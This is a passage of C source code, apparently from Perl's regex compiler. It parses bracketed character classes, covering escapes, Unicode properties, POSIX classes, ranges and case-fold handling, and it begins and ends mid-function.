SKIP_BRACKETED_WHITE_SPACE(skip_white, RExC_parse); if (UCHARAT(RExC_parse) == ']') { break; } charclassloop: namedclass = OOB_NAMEDCLASS; /* initialize as illegal */ save_value = value; save_prevvalue = prevvalue; if (!range) { rangebegin = RExC_parse; element_count++; non_portable_endpoint = 0; } if (UTF && ! UTF8_IS_INVARIANT(* RExC_parse)) { value = utf8n_to_uvchr((U8*)RExC_parse, RExC_end - RExC_parse, &numlen, UTF8_ALLOW_DEFAULT); RExC_parse += numlen; } else value = UCHARAT(RExC_parse++); if (value == '[') { char * posix_class_end; namedclass = handle_possible_posix(pRExC_state, RExC_parse, &posix_class_end, do_posix_warnings ? &posix_warnings : NULL, FALSE /* die if error */); if (namedclass > OOB_NAMEDCLASS) { /* If there was an earlier attempt to parse this particular * posix class, and it failed, it was a false alarm, as this * successful one proves */ if ( posix_warnings && av_tindex_skip_len_mg(posix_warnings) >= 0 && not_posix_region_end >= RExC_parse && not_posix_region_end <= posix_class_end) { av_undef(posix_warnings); } RExC_parse = posix_class_end; } else if (namedclass == OOB_NAMEDCLASS) { not_posix_region_end = posix_class_end; } else { namedclass = OOB_NAMEDCLASS; } } else if ( RExC_parse - 1 > not_posix_region_end && MAYBE_POSIXCC(value)) { (void) handle_possible_posix( pRExC_state, RExC_parse - 1, /* -1 because parse has already been advanced */ &not_posix_region_end, do_posix_warnings ? &posix_warnings : NULL, TRUE /* checking only */); } else if ( strict && ! skip_white && ( _generic_isCC(value, _CC_VERTSPACE) || is_VERTWS_cp_high(value))) { vFAIL("Literal vertical space in [] is illegal except under /x"); } else if (value == '\\') { /* Is a backslash; get the code point of the char after it */ if (RExC_parse >= RExC_end) { vFAIL("Unmatched ["); } if (UTF && ! UTF8_IS_INVARIANT(UCHARAT(RExC_parse))) { value = utf8n_to_uvchr((U8*)RExC_parse, RExC_end - RExC_parse, &numlen, UTF8_ALLOW_DEFAULT); RExC_parse += numlen; } else value = UCHARAT(RExC_parse++); /* Some compilers cannot handle switching on 64-bit integer * values, therefore value cannot be an UV. Yes, this will * be a problem later if we want switch on Unicode. * A similar issue a little bit later when switching on * namedclass. --jhi */ /* If the \ is escaping white space when white space is being * skipped, it means that that white space is wanted literally, and * is already in 'value'. Otherwise, need to translate the escape * into what it signifies. */ if (! skip_white || ! isBLANK_A(value)) switch ((I32)value) { case 'w': namedclass = ANYOF_WORDCHAR; break; case 'W': namedclass = ANYOF_NWORDCHAR; break; case 's': namedclass = ANYOF_SPACE; break; case 'S': namedclass = ANYOF_NSPACE; break; case 'd': namedclass = ANYOF_DIGIT; break; case 'D': namedclass = ANYOF_NDIGIT; break; case 'v': namedclass = ANYOF_VERTWS; break; case 'V': namedclass = ANYOF_NVERTWS; break; case 'h': namedclass = ANYOF_HORIZWS; break; case 'H': namedclass = ANYOF_NHORIZWS; break; case 'N': /* Handle \N{NAME} in class */ { const char * const backslash_N_beg = RExC_parse - 2; int cp_count; if (! grok_bslash_N(pRExC_state, NULL, /* No regnode */ &value, /* Yes single value */ &cp_count, /* Multiple code pt count */ flagp, strict, depth) ) { if (*flagp & NEED_UTF8) FAIL("panic: grok_bslash_N set NEED_UTF8"); RETURN_FAIL_ON_RESTART_FLAGP(flagp); if (cp_count < 0) { vFAIL("\\N in a character class must be a named character: \\N{...}"); } else if (cp_count == 0) { ckWARNreg(RExC_parse, "Ignoring zero length \\N{} in character class"); } else { /* cp_count > 1 */ assert(cp_count > 1); if (! RExC_in_multi_char_class) { if ( ! allow_mutiple_chars || invert || range || *RExC_parse == '-') { if (strict) { RExC_parse--; vFAIL("\\N{} in inverted character class or as a range end-point is restricted to one character"); } ckWARNreg(RExC_parse, "Using just the first character returned by \\N{} in character class"); break; /* <value> contains the first code point. Drop out of the switch to process it */ } else { SV * multi_char_N = newSVpvn(backslash_N_beg, RExC_parse - backslash_N_beg); multi_char_matches = add_multi_match(multi_char_matches, multi_char_N, cp_count); } } } /* End of cp_count != 1 */ /* This element should not be processed further in this * class */ element_count--; value = save_value; prevvalue = save_prevvalue; continue; /* Back to top of loop to get next char */ } /* Here, is a single code point, and <value> contains it */ unicode_range = TRUE; /* \N{} are Unicode */ } break; case 'p': case 'P': { char *e; /* \p means they want Unicode semantics */ REQUIRE_UNI_RULES(flagp, 0); if (RExC_parse >= RExC_end) vFAIL2("Empty \\%c", (U8)value); if (*RExC_parse == '{') { const U8 c = (U8)value; e = (char *) memchr(RExC_parse, '}', RExC_end - RExC_parse); if (!e) { RExC_parse++; vFAIL2("Missing right brace on \\%c{}", c); } RExC_parse++; /* White space is allowed adjacent to the braces and after * any '^', even when not under /x */ while (isSPACE(*RExC_parse)) { RExC_parse++; } if (UCHARAT(RExC_parse) == '^') { /* toggle. (The rhs xor gets the single bit that * differs between P and p; the other xor inverts just * that bit) */ value ^= 'P' ^ 'p'; RExC_parse++; while (isSPACE(*RExC_parse)) { RExC_parse++; } } if (e == RExC_parse) vFAIL2("Empty \\%c{}", c); n = e - RExC_parse; while (isSPACE(*(RExC_parse + n - 1))) n--; } /* The \p isn't immediately followed by a '{' */ else if (! isALPHA(*RExC_parse)) { RExC_parse += (UTF) ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; vFAIL2("Character following \\%c must be '{' or a " "single-character Unicode property name", (U8) value); } else { e = RExC_parse; n = 1; } { char* name = RExC_parse; /* Any message returned about expanding the definition */ SV* msg = newSVpvs_flags("", SVs_TEMP); /* If set TRUE, the property is user-defined as opposed to * official Unicode */ bool user_defined = FALSE; SV * prop_definition = parse_uniprop_string( name, n, UTF, FOLD, FALSE, /* This is compile-time */ /* We can't defer this defn when * the full result is required in * this call */ ! cBOOL(ret_invlist), &user_defined, msg, 0 /* Base level */ ); if (SvCUR(msg)) { /* Assumes any error causes a msg */ assert(prop_definition == NULL); RExC_parse = e + 1; if (SvUTF8(msg)) { /* msg being UTF-8 makes the whole thing so, or else the display is mojibake */ RExC_utf8 = TRUE; } /* diag_listed_as: Can't find Unicode property definition "%s" in regex; marked by <-- HERE in m/%s/ */ vFAIL2utf8f("%" UTF8f, UTF8fARG(SvUTF8(msg), SvCUR(msg), SvPVX(msg))); } if (! is_invlist(prop_definition)) { /* Here, the definition isn't known, so we have gotten * returned a string that will be evaluated if and when * encountered at runtime. We add it to the list of * such properties, along with whether it should be * complemented or not */ if (value == 'P') { sv_catpvs(listsv, "!"); } else { sv_catpvs(listsv, "+"); } sv_catsv(listsv, prop_definition); has_runtime_dependency |= HAS_USER_DEFINED_PROPERTY; /* We don't know yet what this matches, so have to flag * it */ anyof_flags |= ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP; } else { assert (prop_definition && is_invlist(prop_definition)); /* Here we do have the complete property definition * * Temporary workaround for [perl #133136]. For this * precise input that is in the .t that is failing, * load utf8.pm, which is what the test wants, so that * that .t passes */ if ( memEQs(RExC_start, e + 1 - RExC_start, "foo\\p{Alnum}") && ! hv_common(GvHVn(PL_incgv), NULL, "utf8.pm", sizeof("utf8.pm") - 1, 0, HV_FETCH_ISEXISTS, NULL, 0)) { require_pv("utf8.pm"); } if (! user_defined && /* We warn on matching an above-Unicode code point * if the match would return true, except don't * warn for \p{All}, which has exactly one element * = 0 */ (_invlist_contains_cp(prop_definition, 0x110000) && (! (_invlist_len(prop_definition) == 1 && *invlist_array(prop_definition) == 0)))) { warn_super = TRUE; } /* Invert if asking for the complement */ if (value == 'P') { _invlist_union_complement_2nd(properties, prop_definition, &properties); } else { _invlist_union(properties, prop_definition, &properties); } } } RExC_parse = e + 1; namedclass = ANYOF_UNIPROP; /* no official name, but it's named */ } break; case 'n': value = '\n'; break; case 'r': value = '\r'; break; case 't': value = '\t'; break; case 'f': value = '\f'; break; case 'b': value = '\b'; break; case 'e': value = ESC_NATIVE; break; case 'a': value = '\a'; break; case 'o': RExC_parse--; /* function expects to be pointed at the 'o' */ { const char* error_msg; bool valid = grok_bslash_o(&RExC_parse, RExC_end, &value, &error_msg, TO_OUTPUT_WARNINGS(RExC_parse), strict, silence_non_portable, UTF); if (! valid) { vFAIL(error_msg); } UPDATE_WARNINGS_LOC(RExC_parse - 1); } non_portable_endpoint++; break; case 'x': RExC_parse--; /* function expects to be pointed at the 'x' */ { const char* error_msg; bool valid = grok_bslash_x(&RExC_parse, RExC_end, &value, &error_msg, TO_OUTPUT_WARNINGS(RExC_parse), strict, silence_non_portable, UTF); if (! valid) { vFAIL(error_msg); } UPDATE_WARNINGS_LOC(RExC_parse - 1); } non_portable_endpoint++; break; case 'c': value = grok_bslash_c(*RExC_parse, TO_OUTPUT_WARNINGS(RExC_parse)); UPDATE_WARNINGS_LOC(RExC_parse); RExC_parse++; non_portable_endpoint++; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': { /* Take 1-3 octal digits */ I32 flags = PERL_SCAN_SILENT_ILLDIGIT; numlen = (strict) ? 4 : 3; value = grok_oct(--RExC_parse, &numlen, &flags, NULL); RExC_parse += numlen; if (numlen != 3) { if (strict) { RExC_parse += (UTF) ? UTF8_SAFE_SKIP(RExC_parse, RExC_end) : 1; vFAIL("Need exactly 3 octal digits"); } else if ( numlen < 3 /* like \08, \178 */ && RExC_parse < RExC_end && isDIGIT(*RExC_parse) && ckWARN(WARN_REGEXP)) { reg_warn_non_literal_string( RExC_parse + 1, form_short_octal_warning(RExC_parse, numlen)); } } non_portable_endpoint++; break; } default: /* Allow \_ to not give an error */ if (isWORDCHAR(value) && value != '_') { if (strict) { vFAIL2("Unrecognized escape \\%c in character class", (int)value); } else { ckWARN2reg(RExC_parse, "Unrecognized escape \\%c in character class passed through", (int)value); } } break; } /* End of switch on char following backslash */ } /* end of handling backslash escape sequences */ /* Here, we have the current token in 'value' */ if (namedclass > OOB_NAMEDCLASS) { /* this is a named class \blah */ U8 classnum; /* a bad range like a-\d, a-[:digit:]. The '-' is taken as a * literal, as is the character that began the false range, i.e. * the 'a' in the examples */ if (range) { const int w = (RExC_parse >= rangebegin) ? RExC_parse - rangebegin : 0; if (strict) { vFAIL2utf8f( "False [] range \"%" UTF8f "\"", UTF8fARG(UTF, w, rangebegin)); } else { ckWARN2reg(RExC_parse, "False [] range \"%" UTF8f "\"", UTF8fARG(UTF, w, rangebegin)); cp_list = add_cp_to_invlist(cp_list, '-'); cp_foldable_list = add_cp_to_invlist(cp_foldable_list, prevvalue); } range = 0; /* this was not a true range */ element_count += 2; /* So counts for three values */ } classnum = namedclass_to_classnum(namedclass); if (LOC && namedclass < ANYOF_POSIXL_MAX #ifndef HAS_ISASCII && classnum != _CC_ASCII #endif ) { SV* scratch_list = NULL; /* What the Posix classes (like \w, [:space:]) match isn't * generally knowable under locale until actual match time. A * special node is used for these which has extra space for a * bitmap, with a bit reserved for each named class that is to * be matched against. (This isn't needed for \p{} and * pseudo-classes, as they are not affected by locale, and * hence are dealt with separately.) However, if a named class * and its complement are both present, then it matches * everything, and there is no runtime dependency. Odd numbers * are the complements of the next lower number, so xor works. * (Note that something like [\w\D] should match everything, * because \d should be a proper subset of \w. But rather than * trust that the locale is well behaved, we leave this to * runtime to sort out) */ if (POSIXL_TEST(posixl, namedclass ^ 1)) { cp_list = _add_range_to_invlist(cp_list, 0, UV_MAX); POSIXL_ZERO(posixl); has_runtime_dependency &= ~HAS_L_RUNTIME_DEPENDENCY; anyof_flags &= ~ANYOF_MATCHES_POSIXL; continue; /* We could ignore the rest of the class, but best to parse it for any errors */ } else { /* Here, isn't the complement of any already parsed class */ POSIXL_SET(posixl, namedclass); has_runtime_dependency |= HAS_L_RUNTIME_DEPENDENCY; anyof_flags |= ANYOF_MATCHES_POSIXL; /* The above-Latin1 characters are not subject to locale * rules. Just add them to the unconditionally-matched * list */ /* Get the list of the above-Latin1 code points this * matches */ _invlist_intersection_maybe_complement_2nd(PL_AboveLatin1, PL_XPosix_ptrs[classnum], /* Odd numbers are complements, * like NDIGIT, NASCII, ... */ namedclass % 2 != 0, &scratch_list); /* Checking if 'cp_list' is NULL first saves an extra * clone. Its reference count will be decremented at the * next union, etc, or if this is the only instance, at the * end of the routine */ if (! cp_list) { cp_list = scratch_list; } else { _invlist_union(cp_list, scratch_list, &cp_list); SvREFCNT_dec_NN(scratch_list); } continue; /* Go get next character */ } } else { /* Here, is not /l, or is a POSIX class for which /l doesn't * matter (or is a Unicode property, which is skipped here). */ if (namedclass >= ANYOF_POSIXL_MAX) { /* If a special class */ if (namedclass != ANYOF_UNIPROP) { /* UNIPROP = \p and \P */ /* Here, should be \h, \H, \v, or \V. None of /d, /i * nor /l make a difference in what these match, * therefore we just add what they match to cp_list. */ if (classnum != _CC_VERTSPACE) { assert( namedclass == ANYOF_HORIZWS || namedclass == ANYOF_NHORIZWS); /* It turns out that \h is just a synonym for * XPosixBlank */ classnum = _CC_BLANK; } _invlist_union_maybe_complement_2nd( cp_list, PL_XPosix_ptrs[classnum], namedclass % 2 != 0, /* Complement if odd (NHORIZWS, NVERTWS) */ &cp_list); } } else if ( AT_LEAST_UNI_SEMANTICS || classnum == _CC_ASCII || (DEPENDS_SEMANTICS && ( classnum == _CC_DIGIT || classnum == _CC_XDIGIT))) { /* We usually have to worry about /d affecting what POSIX * classes match, with special code needed because we won't * know until runtime what all matches. But there is no * extra work needed under /u and /a; and [:ascii:] is * unaffected by /d; and :digit: and :xdigit: don't have * runtime differences under /d. So we can special case * these, and avoid some extra work below, and at runtime. * */ _invlist_union_maybe_complement_2nd( simple_posixes, ((AT_LEAST_ASCII_RESTRICTED) ? PL_Posix_ptrs[classnum] : PL_XPosix_ptrs[classnum]), namedclass % 2 != 0, &simple_posixes); } else { /* Garden variety class. If is NUPPER, NALPHA, ... complement and use nposixes */ SV** posixes_ptr = namedclass % 2 == 0 ? &posixes : &nposixes; _invlist_union_maybe_complement_2nd( *posixes_ptr, PL_XPosix_ptrs[classnum], namedclass % 2 != 0, posixes_ptr); } } } /* end of namedclass \blah */ SKIP_BRACKETED_WHITE_SPACE(skip_white, RExC_parse); /* If 'range' is set, 'value' is the ending of a range--check its * validity. (If value isn't a single code point in the case of a * range, we should have figured that out above in the code that * catches false ranges). Later, we will handle each individual code * point in the range. If 'range' isn't set, this could be the * beginning of a range, so check for that by looking ahead to see if * the next real character to be processed is the range indicator--the * minus sign */ if (range) { #ifdef EBCDIC /* For unicode ranges, we have to test that the Unicode as opposed * to the native values are not decreasing. (Above 255, there is * no difference between native and Unicode) */ if (unicode_range && prevvalue < 255 && value < 255) { if (NATIVE_TO_LATIN1(prevvalue) > NATIVE_TO_LATIN1(value)) { goto backwards_range; } } else #endif if (prevvalue > value) /* b-a */ { int w; #ifdef EBCDIC backwards_range: #endif w = RExC_parse - rangebegin; vFAIL2utf8f( "Invalid [] range \"%" UTF8f "\"", UTF8fARG(UTF, w, rangebegin)); NOT_REACHED; /* NOTREACHED */ } } else { prevvalue = value; /* save the beginning of the potential range */ if (! stop_at_1 /* Can't be a range if parsing just one thing */ && *RExC_parse == '-') { char* next_char_ptr = RExC_parse + 1; /* Get the next real char after the '-' */ SKIP_BRACKETED_WHITE_SPACE(skip_white, next_char_ptr); /* If the '-' is at the end of the class (just before the ']', * it is a literal minus; otherwise it is a range */ if (next_char_ptr < RExC_end && *next_char_ptr != ']') { RExC_parse = next_char_ptr; /* a bad range like \w-, [:word:]- ? */ if (namedclass > OOB_NAMEDCLASS) { if (strict || ckWARN(WARN_REGEXP)) { const int w = RExC_parse >= rangebegin ? RExC_parse - rangebegin : 0; if (strict) { vFAIL4("False [] range \"%*.*s\"", w, w, rangebegin); } else { vWARN4(RExC_parse, "False [] range \"%*.*s\"", w, w, rangebegin); } } cp_list = add_cp_to_invlist(cp_list, '-'); element_count++; } else range = 1; /* yeah, it's a range! */ continue; /* but do it the next time */ } } } if (namedclass > OOB_NAMEDCLASS) { continue; } /* Here, we have a single value this time through the loop, and * <prevvalue> is the beginning of the range, if any; or <value> if * not. */ /* non-Latin1 code point implies unicode semantics. */ if (value > 255) { REQUIRE_UNI_RULES(flagp, 0); } /* Ready to process either the single value, or the completed range. * For single-valued non-inverted ranges, we consider the possibility * of multi-char folds. (We made a conscious decision to not do this * for the other cases because it can often lead to non-intuitive * results. For example, you have the peculiar case that: * "s s" =~ /^[^\xDF]+$/i => Y * "ss" =~ /^[^\xDF]+$/i => N * * See [perl #89750] */ if (FOLD && allow_mutiple_chars && value == prevvalue) { if ( value == LATIN_SMALL_LETTER_SHARP_S || (value > 255 && _invlist_contains_cp(PL_HasMultiCharFold, value))) { /* Here <value> is indeed a multi-char fold. Get what it is */ U8 foldbuf[UTF8_MAXBYTES_CASE+1]; STRLEN foldlen; UV folded = _to_uni_fold_flags( value, foldbuf, &foldlen, FOLD_FLAGS_FULL | (ASCII_FOLD_RESTRICTED ? FOLD_FLAGS_NOMIX_ASCII : 0) ); /* Here, <folded> should be the first character of the * multi-char fold of <value>, with <foldbuf> containing the * whole thing. But, if this fold is not allowed (because of * the flags), <fold> will be the same as <value>, and should * be processed like any other character, so skip the special * handling */ if (folded != value) { /* Skip if we are recursed, currently parsing the class * again. Otherwise add this character to the list of * multi-char folds. */ if (! RExC_in_multi_char_class) { STRLEN cp_count = utf8_length(foldbuf, foldbuf + foldlen); SV* multi_fold = sv_2mortal(newSVpvs("")); Perl_sv_catpvf(aTHX_ multi_fold, "\\x{%" UVXf "}", value); multi_char_matches = add_multi_match(multi_char_matches, multi_fold, cp_count); } /* This element should not be processed further in this * class */ element_count--; value = save_value; prevvalue = save_prevvalue; continue; } } } if (strict && ckWARN(WARN_REGEXP)) { if (range) { /* If the range starts above 255, everything is portable and * likely to be so for any forseeable character set, so don't * warn. */ if (unicode_range && non_portable_endpoint && prevvalue < 256) { vWARN(RExC_parse, "Both or neither range ends should be Unicode"); } else if (prevvalue != value) { /* Under strict, ranges that stop and/or end in an ASCII * printable should have each end point be a portable value * for it (preferably like 'A', but we don't warn if it is * a (portable) Unicode name or code point), and the range * must be be all digits or all letters of the same case. * Otherwise, the range is non-portable and unclear as to * what it contains */ if ( (isPRINT_A(prevvalue) || isPRINT_A(value)) && ( non_portable_endpoint || ! ( (isDIGIT_A(prevvalue) && isDIGIT_A(value)) || (isLOWER_A(prevvalue) && isLOWER_A(value)) || (isUPPER_A(prevvalue) && isUPPER_A(value)) ))) { vWARN(RExC_parse, "Ranges of ASCII printables should" " be some subset of \"0-9\"," " \"A-Z\", or \"a-z\""); } else if (prevvalue >= FIRST_NON_ASCII_DECIMAL_DIGIT) { SSize_t index_start; SSize_t index_final; /* But the nature of Unicode and languages mean we * can't do the same checks for above-ASCII ranges, * except in the case of digit ones. These should * contain only digits from the same group of 10. The * ASCII case is handled just above. Hence here, the * range could be a range of digits. First some * unlikely special cases. Grandfather in that a range * ending in 19DA (NEW TAI LUE THAM DIGIT ONE) is bad * if its starting value is one of the 10 digits prior * to it. This is because it is an alternate way of * writing 19D1, and some people may expect it to be in * that group. But it is bad, because it won't give * the expected results. In Unicode 5.2 it was * considered to be in that group (of 11, hence), but * this was fixed in the next version */ if (UNLIKELY(value == 0x19DA && prevvalue >= 0x19D0)) { goto warn_bad_digit_range; } else if (UNLIKELY( prevvalue >= 0x1D7CE && value <= 0x1D7FF)) { /* This is the only other case currently in Unicode * where the algorithm below fails. The code * points just above are the end points of a single * range containing only decimal digits. It is 5 * different series of 0-9. All other ranges of * digits currently in Unicode are just a single * series. (And mktables will notify us if a later * Unicode version breaks this.) * * If the range being checked is at most 9 long, * and the digit values represented are in * numerical order, they are from the same series. * */ if ( value - prevvalue > 9 || ((( value - 0x1D7CE) % 10) <= (prevvalue - 0x1D7CE) % 10)) { goto warn_bad_digit_range; } } else { /* For all other ranges of digits in Unicode, the * algorithm is just to check if both end points * are in the same series, which is the same range. * */ index_start = _invlist_search( PL_XPosix_ptrs[_CC_DIGIT], prevvalue); /* Warn if the range starts and ends with a digit, * and they are not in the same group of 10. */ if ( index_start >= 0 && ELEMENT_RANGE_MATCHES_INVLIST(index_start) && (index_final = _invlist_search(PL_XPosix_ptrs[_CC_DIGIT], value)) != index_start && index_final >= 0 && ELEMENT_RANGE_MATCHES_INVLIST(index_final)) { warn_bad_digit_range: vWARN(RExC_parse, "Ranges of digits should be" " from the same group of" " 10"); } } } } } if ((! range || prevvalue == value) && non_portable_endpoint) { if (isPRINT_A(value)) { char literal[3]; unsigned d = 0; if (isBACKSLASHED_PUNCT(value)) { literal[d++] = '\\'; } literal[d++] = (char) value; literal[d++] = '\0'; vWARN4(RExC_parse, "\"%.*s\" is more clearly written simply as \"%s\"", (int) (RExC_parse - rangebegin), rangebegin, literal ); } else if isMNEMONIC_CNTRL(value) { vWARN4(RExC_parse, "\"%.*s\" is more clearly written simply as \"%s\"", (int) (RExC_parse - rangebegin), rangebegin, cntrl_to_mnemonic((U8) value) ); } } } /* Deal with this element of the class */ #ifndef EBCDIC cp_foldable_list = _add_range_to_invlist(cp_foldable_list, prevvalue, value); #else /* On non-ASCII platforms, for ranges that span all of 0..255, and ones * that don't require special handling, we can just add the range like * we do for ASCII platforms */ if ((UNLIKELY(prevvalue == 0) && value >= 255) || ! (prevvalue < 256 && (unicode_range || (! non_portable_endpoint && ((isLOWER_A(prevvalue) && isLOWER_A(value)) || (isUPPER_A(prevvalue) && isUPPER_A(value))))))) { cp_foldable_list = _add_range_to_invlist(cp_foldable_list, prevvalue, value); } else { /* Here, requires special handling. This can be because it is a * range whose code points are considered to be Unicode, and so * must be individually translated into native, or because its a * subrange of 'A-Z' or 'a-z' which each aren't contiguous in * EBCDIC, but we have defined them to include only the "expected" * upper or lower case ASCII alphabetics. Subranges above 255 are * the same in native and Unicode, so can be added as a range */ U8 start = NATIVE_TO_LATIN1(prevvalue); unsigned j; U8 end = (value < 256) ? NATIVE_TO_LATIN1(value) : 255; for (j = start; j <= end; j++) { cp_foldable_list = add_cp_to_invlist(cp_foldable_list, LATIN1_TO_NATIVE(j)); } if (value > 255) { cp_foldable_list = _add_range_to_invlist(cp_foldable_list, 256, value); } } #endif range = 0; /* this range (if it was one) is done now */ } /* End of loop through all the text within the brackets */ if ( posix_warnings && av_tindex_skip_len_mg(posix_warnings) >= 0) { output_posix_warnings(pRExC_state, posix_warnings); } /* If anything in the class expands to more than one character, we have to * deal with them by building up a substitute parse string, and recursively * calling reg() on it, instead of proceeding */ if (multi_char_matches) { SV * substitute_parse = newSVpvn_flags("?:", 2, SVs_TEMP); I32 cp_count; STRLEN len; char *save_end = RExC_end; char *save_parse = RExC_parse; char *save_start = RExC_start; Size_t constructed_prefix_len = 0; /* This gives the length of the constructed portion of the substitute parse. */ bool first_time = TRUE; /* First multi-char occurrence doesn't get a "|" */ I32 reg_flags; assert(! invert); /* Only one level of recursion allowed */ assert(RExC_copy_start_in_constructed == RExC_precomp); #if 0 /* Have decided not to deal with multi-char folds in inverted classes, because too confusing */ if (invert) { sv_catpvs(substitute_parse, "(?:"); } #endif /* Look at the longest folds first */ for (cp_count = av_tindex_skip_len_mg(multi_char_matches); cp_count > 0; cp_count--) { if (av_exists(multi_char_matches, cp_count)) { AV** this_array_ptr; SV* this_sequence; this_array_ptr = (AV**) av_fetch(multi_char_matches, cp_count, FALSE); while ((this_sequence = av_pop(*this_array_ptr)) != &PL_sv_undef) { if (! first_time) { sv_catpvs(substitute_parse, "|"); } first_time = FALSE; sv_catpv(substitute_parse, SvPVX(this_sequence)); } } } /* If the character class contains anything else besides these * multi-character folds, have to include it in recursive parsing */ if (element_count) { sv_catpvs(substitute_parse, "|["); constructed_prefix_len = SvCUR(substitute_parse); sv_catpvn(substitute_parse, orig_parse, RExC_parse - orig_parse); /* Put in a closing ']' only if not going off the end, as otherwise * we are adding something that really isn't there */ if (RExC_parse < RExC_end) { sv_catpvs(substitute_parse, "]"); } } sv_catpvs(substitute_parse, ")"); #if 0 if (invert) { /* This is a way to get the parse to skip forward a whole named * sequence instead of matching the 2nd character when it fails the * first */ sv_catpvs(substitute_parse, "(*THEN)(*SKIP)(*FAIL)|.)"); } #endif /* Set up the data structure so that any errors will be properly * reported. See the comments at the definition of * REPORT_LOCATION_ARGS for details */ RExC_copy_start_in_input = (char *) orig_parse; RExC_start = RExC_parse = SvPV(substitute_parse, len); RExC_copy_start_in_constructed = RExC_start + constructed_prefix_len; RExC_end = RExC_parse + len; RExC_in_multi_char_class = 1; ret = reg(pRExC_state, 1, &reg_flags, depth+1); *flagp |= reg_flags & (HASWIDTH|SIMPLE|SPSTART|POSTPONED|RESTART_PARSE|NEED_UTF8); /* And restore so can parse the rest of the pattern */ RExC_parse = save_parse; RExC_start = RExC_copy_start_in_constructed = RExC_copy_start_in_input = save_start; RExC_end = save_end; RExC_in_multi_char_class = 0; SvREFCNT_dec_NN(multi_char_matches); return ret; } /* If folding, we calculate all characters that could fold to or from the * ones already on the list */ if (cp_foldable_list) { if (FOLD) { UV start, end; /* End points of code point ranges */ SV* fold_intersection = NULL; SV** use_list; /* Our calculated list will be for Unicode rules. For locale * matching, we have to keep a separate list that is consulted at * runtime only when the locale indicates Unicode rules (and we * don't include potential matches in the ASCII/Latin1 range, as * any code point could fold to any other, based on the run-time * locale). For non-locale, we just use the general list */ if (LOC) { use_list = &only_utf8_locale_list; } else { use_list = &cp_list; } /* Only the characters in this class that participate in folds need * be checked. Get the intersection of this class and all the * possible characters that are foldable. This can quickly narrow * down a large class */ _invlist_intersection(PL_in_some_fold, cp_foldable_list, &fold_intersection); /* Now look at the foldable characters in this class individually */ invlist_iterinit(fold_intersection); while (invlist_iternext(fold_intersection, &start, &end)) { UV j; UV folded; /* Look at every character in the range */ for (j = start; j <= end; j++) { U8 foldbuf[UTF8_MAXBYTES_CASE+1]; STRLEN foldlen; unsigned int k; Size_t folds_count; unsigned int first_fold; const unsigned int * remaining_folds; if (j < 256) { /* Under /l, we don't know what code points below 256 * fold to, except we do know the MICRO SIGN folds to * an above-255 character if the locale is UTF-8, so we * add it to the special list (in *use_list) Otherwise * we know now what things can match, though some folds * are valid under /d only if the target is UTF-8. * Those go in a separate list */ if ( IS_IN_SOME_FOLD_L1(j) && ! (LOC && j != MICRO_SIGN)) { /* ASCII is always matched; non-ASCII is matched * only under Unicode rules (which could happen * under /l if the locale is a UTF-8 one */ if (isASCII(j) || ! DEPENDS_SEMANTICS) { *use_list = add_cp_to_invlist(*use_list, PL_fold_latin1[j]); } else if (j != PL_fold_latin1[j]) { upper_latin1_only_utf8_matches = add_cp_to_invlist( upper_latin1_only_utf8_matches, PL_fold_latin1[j]); } } if (HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(j) && (! isASCII(j) || ! ASCII_FOLD_RESTRICTED)) { add_above_Latin1_folds(pRExC_state, (U8) j, use_list); } continue; } /* Here is an above Latin1 character. We don't have the * rules hard-coded for it. First, get its fold. This is * the simple fold, as the multi-character folds have been * handled earlier and separated out */ folded = _to_uni_fold_flags(j, foldbuf, &foldlen, (ASCII_FOLD_RESTRICTED) ? FOLD_FLAGS_NOMIX_ASCII : 0); /* Single character fold of above Latin1. Add everything * in its fold closure to the list that this node should * match. */ folds_count = _inverse_folds(folded, &first_fold, &remaining_folds); for (k = 0; k <= folds_count; k++) { UV c = (k == 0) /* First time through use itself */ ? folded : (k == 1) /* 2nd time use, the first fold */ ? first_fold /* Then the remaining ones */ : remaining_folds[k-2]; /* /aa doesn't allow folds between ASCII and non- */ if (( ASCII_FOLD_RESTRICTED && (isASCII(c) != isASCII(j)))) { continue; } /* Folds under /l which cross the 255/256 boundary are * added to a separate list. (These are valid only * when the locale is UTF-8.) */ if (c < 256 && LOC) { *use_list = add_cp_to_invlist(*use_list, c); continue; } if (isASCII(c) || c > 255 || AT_LEAST_UNI_SEMANTICS) { cp_list = add_cp_to_invlist(cp_list, c); } else { /* Similarly folds involving non-ascii Latin1 * characters under /d are added to their list */ upper_latin1_only_utf8_matches = add_cp_to_invlist( upper_latin1_only_utf8_matches, c); } } } } SvREFCNT_dec_NN(fold_intersection); } /* Now that we have finished adding all the folds, there is no reason * to keep the foldable list separate */ _invlist_union(cp_list, cp_foldable_list, &cp_list); SvREFCNT_dec_NN(cp_foldable_list); } /* And combine the result (if any) with any inversion lists from posix * classes. The lists are kept separate up to now because we don't want to * fold the classes */ if (simple_posixes) { /* These are the classes known to be unaffected by /a, /aa, and /d */ if (cp_list) { _invlist_union(cp_list, simple_posixes, &cp_list); SvREFCNT_dec_NN(simple_posixes); } else { cp_list = simple_posixes; } } if (posixes || nposixes) { if (! DEPENDS_SEMANTICS) { /* For everything but /d, we can just add the current 'posixes' and * 'nposixes' to the main list */ if (posixes) { if (cp_list) { _invlist_union(cp_list, posixes, &cp_list); SvREFCNT_dec_NN(posixes); } else { cp_list = posixes; } } if (nposixes) { if (cp_list) { _invlist_union(cp_list, nposixes, &cp_list); SvREFCNT_dec_NN(nposixes); } else { cp_list = nposixes; } } } else { /* Under /d, things like \w match upper Latin1 characters only if * the target string is in UTF-8. But things like \W match all the * upper Latin1 characters if the target string is not in UTF-8. * * Handle the case with something like \W separately */ if (nposixes) { SV* only_non_utf8_list = invlist_clone(PL_UpperLatin1, NULL); /* A complemented posix class matches all upper Latin1 * characters if not in UTF-8. And it matches just certain * ones when in UTF-8. That means those certain ones are * matched regardless, so can just be added to the * unconditional list */ if (cp_list) { _invlist_union(cp_list, nposixes, &cp_list); SvREFCNT_dec_NN(nposixes); nposixes = NULL; } else { cp_list = nposixes; } /* Likewise for 'posixes' */ _invlist_union(posixes, cp_list, &cp_list); SvREFCNT_dec(posixes); /* Likewise for anything else in the range that matched only * under UTF-8 */ if (upper_latin1_only_utf8_matches) { _invlist_union(cp_list, upper_latin1_only_utf8_matches, &cp_list); SvREFCNT_dec_NN(upper_latin1_only_utf8_matches); upper_latin1_only_utf8_matches = 